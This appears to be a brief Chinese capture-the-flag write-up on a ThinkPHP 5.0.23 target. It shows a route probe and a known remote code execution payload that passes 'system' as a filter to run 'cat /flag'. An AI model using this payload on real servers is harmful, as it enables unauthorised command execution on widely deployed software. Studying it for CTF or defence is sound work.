Last updated 2 years ago
看到THINKPHP5，习惯性尝试一下tp5.0的payload，结果就成了，开了强制路由还有debug模式
?s=/index/think\app/index
看到报错提示，提示是5.0.23版本，就去找一下payload
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=cat /flag